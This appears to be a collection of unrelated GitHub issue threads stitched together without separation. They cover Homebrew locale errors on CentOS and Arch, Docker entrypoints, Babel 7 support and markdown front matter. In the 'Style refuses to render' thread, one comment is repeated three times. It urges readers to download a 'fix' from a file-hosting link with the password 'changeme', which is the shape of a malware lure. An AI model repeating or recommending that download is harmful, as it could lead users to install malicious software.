                var choiceResult = (FoundChoice)stepContext.Result;
                await dc.Context.SendActivityAsync($"Thanks for '{choiceResult.Index}' {choiceResult.Value}");
            }

            return await dc.EndAsync();
        }

And I get the choice I would expect when I pick the number. If you are interested in trying this out you can build the main solution and drop this code into an interactive test bot called TestBot in the test tree. And then run the emulator against it.
Anyhow it seems to work as expected (at least on the latest code) and so I'm going to close this one out. If you do have problems (or you think my repo scenario is not good) please don't hesitate to comment on this (and include a mention) and then I'll drill int further.


Not working as intended

Fresh out of the box it isn't working as expected for me.
Also, is there a way to make it backward compatible with bigfoot and work with the footnote tags?

This issue was closed because it’s been inactive for more than 30 days. If there’s still a need for this, please let us know — happy to revisit!


Args were not expanded correctly

I am not sure how it actually works in your env, but I couldn't get this to work at all.
I get --election cannot be empty error every time, I guess you need to override completely the ENTRYPOINT, which is sad.
This patch uses a more standard approach through a shell script, and use ENTRYPOINT only since SHELL is not OCI-compatible.
Now you can do docker run learder-elector --election=test without getting an error.

Closing for now, this is not yet working my remote test doesn't match my local one. I'll reopen once I have something working.


Change the default locale to C.UTF-8 on Linux

Change the default locale from en_US.UTF-8 to C.UTF-8. The former locale is not included by default in common Docker images, whereas the latter locale is included by default.

[x] Have you followed the guidelines in our Contributing document?
[x] Have you checked to ensure there aren't other open Pull Requests for the same change?
[x] Have you added an explanation of what your changes do and why you'd like us to include them?
[ ] Have you written new tests for your changes? Here's an example.

[ ] Have you successfully run brew tests with your changes locally?

See PEP-538 https://www.python.org/dev/peps/pep-0538/ thanks to @Bo98

Some older systems such as RHEL 7 may not have the locale C.UTF-8 available. That may result in this warning:
/home/linuxbrew/.linuxbrew/Homebrew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)

The warning is harmless and can be ignored, but it is annoying.

@sjackman Did they have the en_US.UTF-8 locale available? Doesn't seem like a great fit to trade this warning on some systems to the warning on others?

Some systems have only en_US.UTF-8, and some systems have C.UTF-8, some systems have both, and some (rare) systems have neither. C.UTF-8 seems to me like the "right" default, as it assumes neither en nor US. The correct answer is to use…

C.UTF-8 is available
en_US.UTF-8 if available
C otherwise

Do we want, maybe, parse the output of locale -a (as is locale -a | grep '^(C.UTF-\|en_US.UTF-8\|C)') and use one of these?

Yes, I think that's the right thing to do. The order of preference ought to be…

The user's current locale if it's UTF-8
C.UTF-8
en_US.UTF-8
First available UTF-8 locale
C

@maxim-belkin Are you interested in working on this issue?

Um... sure! happy to help)

Thanks, Maxim!
$ docker run -it --rm fedora:22 locale -a
C
POSIX
en_US.utf8
$ docker run -it --rm fedora:23 locale -a
C
C.utf8
POSIX
en_US.utf8
$ docker run -it --rm fedora:33 locale -a
C
C.utf8
POSIX
$ docker run -it --rm ubuntu:20.04 locale -a
C
C.UTF-8
POSIX

Some systems have only en_US.UTF-8, and some systems have C.UTF-8, some systems have both, and some (rare) systems have neither. C.UTF-8 seems to me like the "right" default, as it assumes neither en nor US. The correct answer is to use…

Makes sense to me 👍

@sjackman I'm having trouble with Homebrew on CentOS 7 after this PR. In addition to the warnings you mention, it also seems to cause some installation failures. For example
$ docker run -t -i centos:7 /bin/bash
$ yum -y update
$ yum -y groupinstall 'Development Tools'
$ yum -y install curl file git which perl-devel
$ cd /home && mkdir test && cd test
$ git clone https://github.com/Homebrew/brew
$ brew/bin/brew update
...
$ brew/bin/brew install glibc
/home/test/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8): No such file or directory
/home/test/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
/bin/bash: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
/home/test/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8): No such file or directory
/home/test/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
/bin/bash: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
/home/test/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8): No such file or directory
/home/test/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
==> Downloading https://ftp.gnu.org/gnu/glibc/glibc-2.23.tar.gz
######################################################################## 100.0%
sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
==> ../configure --disable-debug --disable-dependency-tracking --disable-silent-rules --prefix=/home/test/brew/Cellar/glibc/2.23 --enable-obsolete-rpc --without-selinux --w
==> make
==> make install
sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
Warning: Calling Formula#installed? is deprecated! Use Formula#latest_version_installed? (or Formula#any_version_installed? ) instead.
Please report this issue to the homebrew/core tap (not Homebrew/brew or Homebrew/core), or even better, submit a PR to fix it:
  /home/test/brew/Library/Taps/homebrew/homebrew-core/Formula/glibc.rb:142

sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
==> Installing locale data for C.UTF-8 en_US.UTF-8
==> /home/test/brew/Cellar/glibc/2.23/bin/localedef -i C -f UTF-8 C.UTF-8
Last 15 lines from /root/.cache/Homebrew/Logs/glibc/post_install.01.localedef:
2020-07-23 20:19:02 +0000

/home/test/brew/Cellar/glibc/2.23/bin/localedef
-i
C
-f
UTF-8
C.UTF-8

cannot open locale definition file `C': No such file or directory
sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
Warning: The post-install step did not complete successfully
You can try again using `brew postinstall glibc`
==> Summary
🍺  /home/test/brew/Cellar/glibc/2.23: 1,401 files, 40.5MB, built in 3 minutes 13 seconds

I'll try to submit a fix soon.

@dancooke In the mean time, the workaround is…
HOMEBREW_NO_ENV_FILTERING=1 LC_ALL=en_US.UTF-8 brew install glibc

@dancooke I've opened PR https://github.com/Homebrew/linuxbrew-core/pull/20780 to resolve this error.

@sjackman This error appears to have returned; it was fixed after your PR but now I get the same error again.

Another command that was previously working but is now failing:
$ brew install --build-from-source xz
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8): No such file or directory
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
/bin/bash: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8): No such file or directory
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
/bin/bash: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8): No such file or directory
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
==> Downloading https://downloads.sourceforge.net/project/lzmautils/xz-5.2.5.tar.gz
Already downloaded: /users/lunter/dcooke/.cache/Homebrew/downloads/a13e2dce533a3dcb05b2f1b86fc45eac1f6ebf737b54ef7d3089994649d28aa8--xz-5.2.5.tar.gz
sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
==> ./configure --prefix=/gpfs3/users/lunter/dcooke/brew/Cellar/xz/5.2.5
==> make check
Last 15 lines from /users/lunter/dcooke/.cache/Homebrew/Logs/xz/02.make:
/bin/sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
/bin/sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
/bin/sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
/bin/sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
unexpected output from xzgrep
FAIL: test_scripts.sh
=========================================
1 of 9 tests failed
Please report to<EMAIL_ADDRESS>=========================================
make[2]: *** [check-TESTS] Error 1
make[2]: Leaving directory `/tmp/xz-20200729-302428-12pu8ky/xz-5.2.5/tests'
make[1]: *** [check-am] Error 2
make[1]: Leaving directory `/tmp/xz-20200729-302428-12pu8ky/xz-5.2.5/tests'
make: *** [check-recursive] Error 1
sh: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)

READ THIS: https://docs.brew.sh/Troubleshooting
``

@dancooke, could you please try
export HOMEBREW_DEVELOPER=1
brew update

and then your command(s)?

@maxim-belkin The xz command completed successfully but the glibc installs still fails (although apparently due to a different problem - some depreciated syntax that was previously just a warning):
$ brew install glibc
==> Downloading https://ftp.gnu.org/gnu/glibc/glibc-2.23.tar.gz
Already downloaded: /users/lunter/dcooke/.cache/Homebrew/downloads/3c17421daad583cfd4fad587b8e1260f19385344f309d7ae11e0c2bb6b75d801--glibc-2.23.tar.gz
==> ../configure --disable-debug --disable-dependency-tracking --disable-silent-rules --prefix=/gpfs3/users/lunter/dcooke/brew/Cellar/glibc/2.23 --enable-obsolete-rpc --withou
==> make
==> make install
Warning: The post-install step did not complete successfully
You can try again using `brew postinstall glibc`
==> An exception occurred within a child process:
  MethodDeprecatedError: Calling Formula#installed? is deprecated! Use Formula#latest_version_installed? (or Formula#any_vers
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/compat/formula.rb:6:in `installed?'
/gpfs3/users/lunter/dcooke/brew/Library/Taps/homebrew/homebrew-core/Formula/glibc.rb:142:in `post_install'
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/formula.rb:1040:in `block (2 levels) in run_post_install'
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/formula.rb:900:in `with_logging'
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/formula.rb:1039:in `block in run_post_install'
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/utils.rb:474:in `with_env'
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/formula.rb:1029:in `run_post_install'
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/postinstall.rb:21:in `<main>'
Warning: /gpfs3/users/lunter/dcooke/brew/bin is not in your PATH
You can amend this by altering your /users/lunter/dcooke/.bash_profile file.
Warning: /gpfs3/users/lunter/dcooke/brew/sbin is not in your PATH
You can amend this by altering your /users/lunter/dcooke/.bash_profile file.
==> Summary
🍺  /gpfs3/users/lunter/dcooke/brew/Cellar/glibc/2.23: 1,418 files, 44.9MB, built in 2 minutes 36 seconds

Out of interest, what does HOMEBREW_DEVELOPER=1 do? If I just grab Homebrew like
$ git clone https://github.com/Homebrew/brew
$ brew/bin/brew update

am I not running the latest Homebrew available (i.e. not a release)? I ask because updating after setting HOMEBREW_DEVELOPER=1 didn't seem to do anything
$ export HOMEBREW_DEVELOPER=1
$ brew/bin/brew update
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8): No such file or directory
/gpfs3/users/lunter/dcooke/brew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
/bin/bash: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
==> Homebrew has enabled anonymous aggregate formulae and cask analytics.
Read the analytics documentation (and how to opt-out) here:
  https://docs.brew.sh/Analytics
No analytics have been recorded yet (or will be during this `brew` run).

==> Homebrew is run entirely by unpaid volunteers. Please consider donating:
  https://github.com/Homebrew/brew#donations
Already up-to-date.

Yet it fixed one of my errors...

By default, users use (ahem) the latest tagged Homebrew release while developers work on the next one. The fix for your problem will be in the next release. If you want to jump off the release cycle and always use the bleeding edge version of Homebrew, set HOMEBREW_DEVELOPER.
Error message:
brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8): No such file or directory

tells me that line 15 in your Homebrew/brew tries to set locale -- this is no longer the case in the latest "developer" version of Homebrew/brew (see #8072).
the fact that brew update showed that error message is fine -- it was using the previous version of brew.sh file.
The fix for the deprecated .installed? method is in the works at https://github.com/Homebrew/linuxbrew-core/pull/20844

How do I get C.UTF-8 working in Arch Linux? After adding C.UTF-8 UTF-8 to /etc/locale.gen:
% sudo locale-gen
Generating locales...
  en_US.UTF-8... done
  C.UTF-8...[error] cannot open locale definition file `C': No such file or directory

How do I get C.UTF-8 working in Arch Linux?

$ docker run -it --rm archlinux locale -a
C
en_US.utf8
POSIX

Arch Linux does not appear to include support for C.UTF-8, and you cannot easily add it. I'm surprised, because Arch Linux includes glibc 2.31, which ought to include support for C.UTF-8 by default. I suggest raising this question on an Arch Linux support page.

I suggest raising this question on an Arch Linux support page.

https://bugs.archlinux.org/task/59737
https://bugs.archlinux.org/task/32296
From https://bbs.archlinux.org/viewtopic.php?pid=1897038#p1897038:

"C.UTF-8" is not a thing.

Looks like you ought to use en_US.utf8 with Arch Linux.

I do. But Homebrew is confused and tries C.UTF-8, whatever it is.

Homebrew should use en_US.UTF-8 by default. Please run brew update and report the exact command that you're running and the error message that you're seeing. If you can reproduce the error in a Docker image, that's easier for us to reproduce the error.

@sjackman
$ brew update
/home/linuxbrew/.linuxbrew/Homebrew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8): No such file or directory
Already up-to-date.

@Nowaker @aalaap, this behavior will be fixed in the next Homebrew release. Until then, you can (temporarily) jump off of the release cycle to use the latest development version by setting HOMEBREW_DEVELOPER env. variable to 1 (in Bash: export HOMEBREW_DEVELOPER=1).

@maxim-belkin Thanks! That seems to fix it for now.
$ export HOMEBREW_DEVELOPER=1
$ brew --update
/home/linuxbrew/.linuxbrew/Homebrew/Library/Homebrew/brew.sh: line 15: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8): No such file or directory
/bin/bash: warning: setlocale: LC_ALL: cannot change locale (C.UTF-8)
Updated Homebrew from c3eada09d to 80b73dda4.
No changes to formulae.
$ brew --version
Homebrew 2.4.9-313-g80b73dd
Homebrew/linuxbrew-core (git revision 59ff43; last commit 2020-08-06)

@maxim-belkin I see that a new Homebrew version has been released but I'm continuing to see one of the same errors (https://github.com/Homebrew/brew/pull/8047#issuecomment-665677221) after updating. This is on a CentOS 7 system.

@dancooke
+charmap = "UTF-8" if charmap == "utf8"
 system bin/"localedef", "-i", lang, "-f", charmap, locale

https://github.com/Homebrew/linuxbrew-core/blob/master/Formula/glibc.rb#L171
This patch should hopefully fix your issue, Dan. Would you like to test it, and open a PR if you're successful?


It is possible to improve vector search using combination with full text search scoring

Duplicate of https://github.com/Konard/elastic-search/issues/8


Update tree.py

Problem in VS Code, Win 10, Python 3:
pattern = os.path.expanduser(path)
UnboundLocalError: local variable 'path' referenced before assignment
My Change worked fine in my case, don't know for everyone.

Yes, I think this is correct—thank you!


Auto validate code after input x number of characters

Checklist

[X] I checked for similar existing requests (both open and closed) before posting.
[X] My request is generic, other users may benefit from it too.

Proposal
[clear description of what you want to see changed or added]
In the codes tab, it should be another two options:

Maximum characters for the pin/password code (eg: 0-20, 0 - infinite)
A check box to auto validate when you reached the maxmimum characters set (the check box should be disabled if first setting it is set to 0)

Additional info
[some example of how the new functionality should look like]

Completed? How? When?


Add indexOf to get index of first matching element in target

Thank you for this module, just what I was looking for!
I would like to add a indexOf function to Sift, similar to Array.prototype.indexOf.
I.e. it returns a 0-based index for the first matching element and -1 if not found.
Example usage:
var persons = [{name: 'Jane Doe', age: 26}, {name: 'Janet Fonda', age: 38}];

sift.indexOf({age: {$gt: 30}}, persons); // = 1

sift.indexOf({age: {$gt: 40}}, persons); // = -1

What do you think?

Coverage remained the same at 100.0% when pulling 2f9a6b7aa71f9912c732e53c039327e47487310f on joakimbeng:master into 6aa8b6124fd92363a159651a772d18d557478a99 on crcn:master.

Thanks!


Add support for deploying to Open VSX Registry

Can we add a secret for the Open VSX Registry with the name OVSX_PAT adn then uncomment this line in the .github/workflows/ci.yml and .github/workflows/manual-release.yml files so that the package is installed to the OpenVSX registry?
This is needed by anyone (read: me) who has packages that rely on this extension who publishes to OpenVSX.

Changes have been made and the CI pipeline is running here: https://github.com/clarkio/vscode-authentication-twitch/actions/runs/7433203552

Done in #13


360° and VR video support

What about adding 360° and VR video support to the vidstack player like this plugin for plyr does: https://github.com/zengde/plyr-vr
Thanks for working on this library!

Very cool. Thanks for the heads up @AgentSmith0 (I didn't know about it), I'll definitely look more into it 😄

@mihar-22 If you are willing to implement this, I can share you the code I am currently using, which works fine on vidstack (I just edited some lines from the plyr-vr plugin)...

Can you share your modification method? I am also working on how to implement it. I would be very grateful.


Babel 7 Support

With ember-cli-babel@7 released, the Ember community has access to Babel 7!
At this time, this addon is not configured to work with anything other than a 6.X.X release of ember-cli-babel. I'm not sure if the API has changed in a breaking way or if the restraint just has to be updated here, but either way compatibility should be provided.
(Just like https://github.com/ember-decorators/babel-transforms/issues/12 I will investigate fixing this one, too!)

Looking into this a bit, we would need to upgrade to the latest version of babel-plugin-filter-imports, which is for Babel 7.
Since it's the same package, but a newer version, I'm not sure how we would maintain support for both Babel 6 and Babel 7 when this underlying package is for only one or the other.
How would you feel about cutting a "breaking change" (which I know isn't real since this package hasn't hit 1.0 yet) that requires Babel 7, and point people toward an older release for Babel 6 compatibility?
cc: @pzuraq @rwjblue

With ^ that issue closed, I'm going to take a look at finishing this

Ember 3.6.0 released with babel 7.


Bug(live preview): Style refuses to render after the first pass

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Fixed in 0.2.2


Is there a pytorch implementation of this network structure?

Is there a pytorch implementation of this network structure?

https://github.com/soCzech/TransNetV2/tree/master/inference-pytorch

Thanks! This is very useful.


Redesign SPH Resample Operator

The current SPH resample operator was implemented for a specific use case and needs to be refactored to handle different SPH datasets.
In particular, the refactored SPH resample operator needs to be able to allow the user to specify the kernel and smoothing length. Additionally, the resample operator needs to handle or generate ghost particles and implement a more performant algorithm for interpolating the SPH datasets.
There have been many requests for this capability.
Impact
(Please click check boxes AFTER submitting ticket)

[ ] High - User productivity significantly improved
[ ] Medium - User productivity partially improved
[ ] Low - User productivity trivially improved

Is your feature request specific to a data set?
Yes, SPH datasets
Describe the solution you'd like.
The ability for any user to be able to use the SPH Resample operator on their SPH dataset.

Duplicates #4195


Enable editing of .md with "front matter"

Astro (https://astro.build/) is the new hotness in content-rich static site rendering - and they have a concept called "front matter" (https://docs.astro.build/en/guides/markdown-content/) which simply has a "---"-enclosed section at the very top:
---
some: yaml
content: here
---
We now get into markdown territory...

At the moment, milkdown-vscode will corrupt the front matter of any such .md file; the above content will be transformed into
***

some: yaml
content: here
-------------

We now get into markdown territory...

by a roundtrip through milkdown-vscode. It would be quite nice to be able to edit such .md files through milkdown, because Astro itself is all about working inside Visual Studio Code, creating content and implementing site functionality there.
What confuses me a bit is that milkdown suggests that it does gfm-formatted markup (https://github.github.com/gfm/#tables-extension-), and those Astro frontmatter-enriched .md render fine inside the Github renderer (see, for exmple, https://github.com/withastro/astro/blob/main/examples/with-markdown-plugins/src/pages/index.md)
So, in the end, this could possibly be made to work by adjusting the gfm plugin / enabling the gfm?
Perhaps a configuration option on milkdown-vscode along the lines of

Retain front matter in files (yes/no) - Some markdown files may contain a --- ... --- section at the very top - "front matter". If such front matter is present in a markdown file, retain this front matter section unchanged through edits.

?

It just occurred to me that front matter as above can be (re)interpreted as a custom code fence (https://spec.commonmark.org/0.30/#fenced-code-blocks, https://github.github.com/gfm/#fenced-code-blocks) with - being the character used for wrapping the fence block (expanding beyond `` and ~)?

... and just discovered that another static site renderer, Jekyll (https://jekyllrb.com/docs/step-by-step/03-front-matter/), does front matter, too. That renderer also does markdown, so the use case for enabling --- fences would be much broader than just Astro.
For reference, https://jamstack.org/generators/ lists plenty of static site renderers; I'd guess more of these might do front matter, too (with renderer proprietary content that milkdown processing would ignore)


Add google fonts to template

Overview
Adds google fonts to template, these were not getting loaded by webpack

This is pretty minor, I'll deal with issues in a separate PR if @designmatty has any feedback